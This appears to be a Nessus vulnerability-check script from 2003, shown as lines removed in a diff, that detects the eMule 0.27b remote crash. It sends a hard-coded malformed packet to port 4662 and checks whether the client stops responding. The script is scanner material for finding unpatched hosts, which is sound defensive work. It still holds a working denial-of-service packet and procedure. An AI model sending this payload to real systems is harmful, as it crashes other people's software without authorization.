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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- # Ref:
- # Date: Tue, 25 Mar 2003 13:03:13 +0000
- # From: Auriemma Luigi <aluigi@pivx.com>
- # To: bugtraq@securityfocus.com
- # Subject: Emule 0.27b remote crash
-
- if(description)
- {
- script_id(11473);
- script_bugtraq_id(7189);
- script_version ("$Revision: 1.3 $");
-
-
- name["english"] = "EMule DoS";
- script_name(english:name["english"]);
-
- desc["english"] = "
- It was possible to disable the remote EMule
- client by connecting to this port and sending
- malformed data.
-
- Solution : Upgrade to version 0.27c of EMule
- Risk factor : Medium";
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Crashes the remote Emule client";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_require_ports(4662);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port=4662;
-
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- pkt = raw_string(
- 0xE3, 0x24, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0xE3, 0x03, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x00);
-
- send(socket:soc, data:pkt);
- close(soc);
-
- for(i=0;i<3;i++)
- {
- soc = open_sock_tcp(port);
- if(!soc){ security_warning(port); exit(0); }
- send(socket:soc, data:pkt);
- close(soc);
- }
- }
- }
-